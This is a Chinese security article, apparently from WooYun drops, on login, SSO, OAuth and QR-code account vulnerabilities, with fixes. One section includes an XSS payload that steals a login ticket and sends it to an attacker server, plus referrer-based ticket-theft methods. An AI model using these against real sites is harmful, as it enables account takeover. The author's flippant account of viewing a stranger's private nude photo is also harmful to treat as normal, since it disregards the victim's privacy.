
        <html>
			<head>
			     <title>我的通行你的证 - 呆子不开口</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/web/12695">http://drops.wooyun.org/web/12695</a></h1>
				
      <p>
        <h1>0x00 简介</h1>

<hr />

<p>这篇是我前几个月在CSDN开发者大会上讲的账号通行证安全相关的PPT<a href="http://pan.baidu.com/s/1bnsjoM7">《我的通行你的证》</a>的文字整理版，稍微补充了点内容。因为懒一直没时间写，但年关将至，想到可以为老家的孩子们多挣点压岁钱……</p>

<p>几个月前，我在测百度的一个账号体系的漏洞时，无意中进入了慈云寺桥一甜品店的女收银员的百度网盘，当时随便看了两眼，突然发现了她的一张裸照，吓的我赶紧关了页面。当时我就想，如果她是我最好的朋友的女朋友，她的裸照被坏人利用漏洞攻击而泄露了，那该多不好呀</p>

<p>换位思考后，我闭着眼，对着裸照暗暗发誓，保护女网友，人人有责</p>

<!--more-->

<p>此文比较长，建议各位让女朋友不用再等了，让她穿上裤子先睡</p>

<h3>主流盗号的八十一种姿势</h3>

<ul>
<li><strong>密码类漏洞</strong><br />
——密码泄露、暴力破解、撞库、密码找回漏洞、社工库、钓鱼…</li>
<li><strong>认证cookie被盗</strong><br />
——xss攻击、网络泄露、中间人攻击</li>
<li><strong>其他漏洞</strong><br />
——二维码登录、单点登录、第三方登录、客户端web自动登录、绑定其他账号登录、oauth登陆漏洞…</li>
</ul>

<p><strong>今天不讲密码安全，今天主要讲讲互联网上常见的一些通行证相关的“其他漏洞”</strong></p>

<h1>0x01 先稍微讲讲认证cookie的安全</h1>

<hr />

<p>目前各大互联网公司的网站大多使用cookie来实现对用户的认证。如果攻击者拿到了这个认证cookie，就可以登录了用户的账号了</p>

<p><strong>cookie安全注意点</strong></p>

<blockquote>
  <p>Httponly：防止cookie被xss偷</p>
  
  <p>https：防止cookie在网络中被偷</p>
  
  <p>Secure：阻止cookie在非https下传输，很多全站https时会漏掉</p>
  
  <p>Path :区分cookie的标识，安全上作用不大，和浏览器同源冲突</p>
</blockquote>

<ul>
<li><p><em>Httponly：防止cookie被xss偷</em> xss攻击可以获得用户的cookie。但如果cookie加上了httponly属性，js就无法读取，可以保护我们的cookie不在xss攻击中被偷走 但很多安全从业人员觉得cookie加上httponly了，xss就不算什么漏洞了。这当然是无厘头的，xss是标准的html/js代码注入漏洞，它不仅仅只是可以偷cookie，还可以做很多，下面会有很多例子…</p></li>
<li><p><em>https：防止cookie在网络中被偷</em> 目前主流网站的认证cookie在互联网中都是无保护进行传输的，可能会在网络中被嗅探或其他方式泄露。所以建议安全级别高的网站使用全站https，并且不支持http的访问，而且还要使用HSTS，强制把http的请求转成https请求</p></li>
<li><p><em>Secure：阻止cookie在非https下传输，很多全站https时会漏掉</em> 即使有时候你做了全站https，但你的cookie没有加上Secure属性的话。网络中间人可以在第三方页面中强制你使用http访问做了全站https的domain，此时你的cookie同样会在不安全网络中传输。如果加了secure属性，则此cookie只在https的请求中传输</p></li>
<li><p><em>Path :区分cookie的标识，安全上作用不大，和浏览器同源冲突</em> cookie还有一个path属性，这是一个区分cookie的标识，安全上作用不大，和浏览器同源策略冲突。因为，路径A下的xss虽然读不到路径B下的cookie，但路径A下的xss完全可以注入代码进入路径B的页面，然后再去读路径B下的cookie</p></li>
</ul>

<p><strong><em>比较好的cookie方案</em></strong></p>

<ol>
<li>cookie的不可猜测性 </li>
<li>httponly+HTTPS+Secure+HSTS</li>
<li>同IP不同port，尽量不要部署多个不同的web服务，因为cookie不区分端口</li>
</ol>

<h1>0x02通行证的“其他漏洞”</h1>

<hr />

<p><strong><em>常见的通行证相关功能</em></strong></p>

<ul>
<li>二维码登录</li>
<li>单点登录</li>
<li>第三方登录</li>
<li>app内嵌页登录</li>
<li>绑定其他账号</li>
<li>跨域传输认证信息</li>
<li>oauth登录</li>
<li>……</li>
</ul>

<h1>0x03 二维码登录的安全风险</h1>

<hr />

<p><strong>1. 无行为确认</strong></p>

<p>用户扫描二维码后，系统需提示用户检验二维码的行为。若无确认，用户扫描攻击者的登录二维码后，相当于给攻击者的票授权</p>

<blockquote>
  <p>案例： 可以欺骗劫持进入来往用户的帐号  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2013-040673">WooYun: 可以欺骗劫持进入来往用户的帐号</a> </p>
</blockquote>

<p><strong>2. CSRF漏洞伪造授权请求</strong></p>

<p>给票据授权的请求如果是http的，并且可以被攻击者伪造。攻击者可以伪造请求让用户扫描二维码后执行，或让用户以其他形式对攻击者的票据进行授权</p>

<p>一些二维码的授权请求按理说应该只在app端有效，但大多案例中，此请求在web站登陆状态下也是有效，增大了攻击面</p>

<blockquote>
  <p>案例：</p>
  
  <p>微博上点开我发的链接我就可登进你的淘宝支付宝和微博  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2015-099486">WooYun: 微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马（poc中附若干从洞）</a> </p>
  
  <p>聊着聊着我就上了你……的微信  <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-070454">WooYun: 聊着聊着我就上了你……的微信（两处都可以劫持微信登录的漏洞）</a> </p>
</blockquote>

<h3>修复方案</h3>

<ol>
<li>用户扫描二维码后，系统需提示用户检验二维码的行为，告知风险，询问用户是否要执行操作</li>
<li>用户确认后的请求攻击者无法伪造，比如和用户身份相关的一个校验token</li>
<li>二维码的授权请求在web登陆状态下不可用，甚至可以使用非http协议，可以减少很多的攻击面</li>
</ol>

<h1>0x04 绑定其他账号的安全风险</h1>

<hr />

<ol>
<li><p>绑定请求未做csrf防护，攻击者可以构造恶意请求让用户绑定了攻击者的账号。这样攻击者登录他自己的账号后就可以操作用户的资源</p>

<p>案例：<a href="http://www.wooyun.org/bugs/wooyun-2015-0147846">网易某处点开我的链接就会被盗号</a> by <a href="http://www.wooyun.org/whitehats/%E5%AD%90%E9%9D%9E%E6%B5%B7%E7%BB%B5%E5%AE%9D%E5%AE%9D">子非海绵宝宝</a></p></li>
<li><p>另外绑定了越多第三方的账号，会让你的安全级别降低，因为你的所有账号同时不出事的可能性降低了</p></li>
</ol>

<h3>修复方案</h3>

<p>通用的防CSRF的解决方案，referrer+token</p>

<p>当我在谈csrf或jsonp劫持的时候，曾遇到无数人告诉我referrer可以伪造。我只能说目前我还不知道在浏览器端伪造referrer的方法。如果你可以自己写个程序伪造referrer，那咱俩聊的不是一个事</p>

<h1>0x05 绑定第三方oauth账号登陆的安全风险</h1>

<hr />

<ol>
<li>从oauth服务商那获取到accesstoken后，在和本站账号绑定时，未校验state参数，导致绑定请求可以csrf。攻击者可以用csrf估计让你绑定他的账号</li>
<li>即使做了state参数的校验。绑定的初始请求，如点击绑定按钮发出的请求未做csrf防护<br />
新浪微博等某些服务商的oauth授权有如下特点，如果当前登陆的微博曾经授权过该应用，那么就会自动绑定成功<br />
所以我们可以找一个新浪微博登陆的csrf漏洞，让用户自动登陆攻击者的微博（新浪有此类漏洞，这里就不详细写出）<br />
然后再让用户访问绑定请求，这样就完成了对攻击者微博的绑定。攻击者使用微博登陆就可以进入用户的账号</li>
</ol>

<p>案例：<br />
<a href="http://www.wooyun.org/bugs/wooyun-2010-0162481">点我的链接我就可能会进入你的果壳账号</a></p>

<p>关于oauth的更多安全总结，可以参考文章<br />
<a href="http://drops.wooyun.org/papers/598">OAuth 2.0安全案例回顾</a></p>

<h1>0x06 认证cookie的不规范传输安全风险</h1>

<hr />

<p>认证cookie本应该只出现在http请求中，并且在浏览器端的存储中加了httponly属性，是不会被xss攻击盗取的。但某些功能架构中，认证cookie的不规范传输和使用可能会导致认证cookie泄露</p>

<ol>
<li>页面或接口数据输出了当前用户的认证信息，可能被当前页面的XSS攻击利用 </li>
<li>ssrf接口传输cookie给第三方</li>
</ol>

<blockquote>
  <p>案例：</p>
  
  <p><a href="http://www.wooyun.org/bugs/wooyun-2010-0133351">通过一糯米XSS可绕chrome并可用两种方式拿到httponly的BDUSS（大部分非IE用户点击后百度云盘资料会被泄露）</a></p>
  
  <p><a href="http://www.wooyun.org/bugs/wooyun-2010-0160643">微博上你点我的链接我就可xss你并可拿到httponly的cookie及其他危害</a></p>
</blockquote>

<h1>0x07 单点登录的安全风险</h1>

<hr />

<h3>单点登陆的简单原理</h3>

<p>需求：如果用户已经登陆B站，则自动登陆A站<br />
实现：用户访问A站，A站把用户跳转到B站，B站验证用户已登陆，给用户一张票，用户拿着票去找A站，A拿着票去B那，验证成功后放用户进去</p>

<p>下文中将大量出现如下示例站点</p>

<p>A:<code>http://www.t99y.com</code><br />
B:`http://passport.wangzhan.com</p>

<p>举例：用户访问<code>http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php</code></p>

<p>B站检验A站是白名单域后，然后302跳转到</p>

<p><code>http://www.t99y.com/a.php?ticket=******</code></p>

<p>然后a.php用ticket参数去B站验证用户合法后，再给用户种认证cookie</p>

<p>偷认证信息的大概流程如下，后面会细讲。总之攻击的目的就是，拿到用户的ticket信息</p>

<p><img src="http://static.wooyun.org//drops/20150715/20150715022102641949f96b5c8a3b518a24a835a1396bf549a" alt="此处输入图片的描述" /></p>

<h2>常见的漏洞场景</h2>

<p>互联网上常见的几个单点登陆场景，通行证或第三方站给的登陆凭的证使用的方式各有不同，分别该怎么偷</p>

<p><strong>场景1、直接使用票据来做验证</strong></p>

<p><code>http://t99y.com/a.php?ticket=XXXXXXXXXXXXXXXX</code></p>

<p>服务端使用此ticket去sso验证此用户身份，然后在本域种认证cookie</p>

<p>偷的思路：</p>

<p>让我们构造的页面获取到凭证后请求我们控制的服务器上的资源，这样referrer里就有ticket信息了</p>

<p>偷的几种方式</p>

<ol>
<li>找能发自定义src的图片的页面去sso取票，带着ticket信息的页面会发起图片请求，图片服务是我们自己的，我们可以读到请求中的referrer，referrer中会包含ticket信息</li>
<li>找能发自定义src的iframe的页面，iframe请求中的referre有ticket</li>
<li>找一个有js跳转漏洞的页面去取票，跳转目的地址是我们的服务，js的跳转是带上referrer的，读取此请求的referrer，里面包含ticket</li>
<li>如果img和iframe的src值只允许白名单域的url，那就再找一个白名单域的302跳转漏洞来绕过白名单，302跳转可以传递上个请求的referrer</li>
<li>Xss获取地址栏信息</li>
</ol>

<p>示意图如下，如下是我画的一个chrome浏览器，地址栏里ticket参数会被包含到下面的一些元素的请求的referrer中</p>

<p><img src="http://static.wooyun.org//drops/20150715/201507150221023834350d46e039c99279af5e9baff3a87fc0d" alt="此处输入图片的描述" /></p>

<p>参考案例： WooYun: <a href="http://www.wooyun.org/bugs/wooyun-2015-0124352">微博上你点我发的链接我就可以登上你的微博（web版和app端均可两个漏洞一并提交）</a></p>

<p><strong>场景2、中间页接收ticket完成认证，然后用js跳转到我们的目标页</strong></p>

<p><code>http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&amp;url=http://t99y.com/a.php</code> 此时会种上认证cookie</p>

<p>然后页面会使用js跳转到 <code>http://t99y.com/a.php</code><br />
<code>location.href=“http://t99y.com/a.php”;</code></p>

<p>例子：某绑定了微博账号后可以自动登陆的网站</p>

<p>偷的几种方式</p>

<ol>
<li>找一个有302跳转漏洞的页面如b.php，发起单点登陆请求，然后带着ticket信息的b.php会跳转到我们的服务上。因为js的跳转会带referrer，然后再通过302跳转把referrer传给我们能控制的页面</li>
<li>Xss获取当前页面referrer</li>
</ol>

<p><strong>场景3、中间页接收ticket完成认证，然后用302跳转到我们的目标页</strong></p>

<p>如下的多个302跳转</p>

<p><code>http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php</code><br />
<code>http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&amp;url=http://t99y.com/a.php</code><br />
<code>http://t99y.com/a.php</code></p>

<p>偷的方式</p>

<p>Xss创建iframe，种超长cookie，让含ticket的302拒绝服务，然后使用iframe.contentWindow.location.href读取最后的iframe的当前地址</p>

<p>拒绝服务还有个好处，防止某些ticket有防重放的防护</p>

<pre><code>#!js
for (i = 0; i &lt; 20; i++) {
    document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe');
iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&amp;";
iframe.addEventListener('load', function(){ var ntes =
iframe.contentWindow.location.href; var img1
=document.createElement('img'); img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes); for (i = 0;
i &lt; 20; i++) {
    document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe);
</code></pre>

<p>案例：<a href="http://www.wooyun.org/bugs/wooyun-2010-0148110">网易用户登陆状态下点我的链接我就可进入其邮箱、云笔记等服务</a></p>

<p>如上方法不适用于IE的一些版本，因为IE在打不开页面的时候加载的是自己本地的页面，导致错误页和我们的xss页面不同源</p>

<h3>修复方案</h3>

<p>由认证中心来跨域为子站设置认证cookie</p>

<p>单点自动登陆需要防护csrf，让用户不能伪造登陆请求</p>

<h1>0x08 App内嵌页登录的风险</h1>

<hr />

<p>当我们在一个app内打开其公司产品的一些链接，会被加上认证信息去让用户自动登陆</p>

<p>微博客户端、QQ客户端、微信客户端都曾有或现在正有此问题，一般会加上参数sid、gsid、key</p>

<ul>
<li>案例：<a href=" <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-070454">WooYun: 聊着聊着我就上了你……的微信（两处都可以劫持微信登录的漏洞）</a> ">聊着聊着我就上了你……的微信</a></li>
<li>案例：<a href="http://www.wooyun.org/bugs/wooyun-2010-027590">手机版QQ空间身份因素可被盗用</a> </li>
<li>案例：之前的一个手机qq的漏洞，找一qq域下论坛发一张图，然后把此页发给手机qq上好友，他点击就会被盗号</li>
</ul>

<p>偷的几种方式</p>

<pre><code>见单点登录场景一的几种方式
用户甚至会通过app的分享功能把认证信息分享到邮件或朋友圈
</code></pre>

<h3>修复方案</h3>

<p>不要直接把认证凭证添加到webview的URL来完成认证</p>

<p>使用COOKIE，POST都可以</p>

<h1>0x09 跨域从通行证获取到的凭证</h1>

<hr />

<p>跨域从通行证获取登陆ticket</p>

<p>形式为类似<code>http://www.wangzhan.com/sso/getst.php?callback=jsonp</code></p>

<p>然后通行证会返回个jsonp格式的数据，里面包含认证信息</p>

<p>案例：<a href="http://www.wooyun.org/bugs/wooyun-2010-0124352">微博上你点我发的链接我就可以登上你的微博</a></p>

<p>偷的几种方式</p>

<ul>
<li>存在jsonp劫持漏洞 </li>
<li>Referrer限制不严格，可以通过字符串匹配绕过。或者支持空referrer，可以用一些技巧发出空referer请求来绕过</li>
<li>Xss漏洞，去跨域请求此接口得到数据</li>
</ul>

<h3>修复方案</h3>

<p>架构上就不该使用此种方案</p>

<p>app和web的接口不要混用，要保证接口的干净单一。我遇到过一些案例，web和app为了互相兼容，而降低了本身的安全策略，或使用了不合理的架构</p>

<h1>0x0A 主流SSO的一些问题</h1>

<hr />

<p>如上都是漏洞信息，但有时候还有些架构上的小问题可能会导致出现漏洞，或者让攻击者的漏洞利用更方便</p>

<p>常见的sso的一些安全风险如下：</p>

<ul>
<li>各个站的票据通用，很多直接用的就是认证cookie </li>
<li>认证Cookie设置保护不够，httponly、secure…</li>
<li>sso给子站授权的票据可重放</li>
<li>sso给子站授权的票据有效期特别长</li>
<li>认证信息传输未使用https</li>
<li>sso未加入IP或UA等风控策略 </li>
<li>攻击者偷到票据后可轻易使用并无报警 </li>
<li>票据的交互流程保护不严，容易被漏洞偷。（好的流程应该是由sso来跨域颁发）</li>
<li>修改密码后认证cookie未失效 </li>
<li>用户退出登录后认证cookie未失效 </li>
<li>自动登录，绑定，退出等敏感功能，无csrf防护</li>
<li>绑定了第三方账号，降低自己的安全等级 </li>
<li>App和web接口混用，导致安全级别降低</li>
</ul>

<p>案例：<a href="http://www.wooyun.org/bugs/wooyun-2015-0155520">你windows上开着QQ点了我的链接我就进了你的qq邮箱财付通等（任意腾讯xss拿qq的clientkey）</a></p>

<p>这个案例里除了xss漏洞，有两个安全设计上的问题，就是上面提到的：</p>

<ol>
<li>认证Cookie保护不够</li>
<li>自动登录，绑定，退出等敏感功能，无csrf防护</li>
</ol>

<h1>0x0B 总结</h1>

<hr />

<p>网络是我家，安全靠大家。保护女网友，帮她加把锁</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        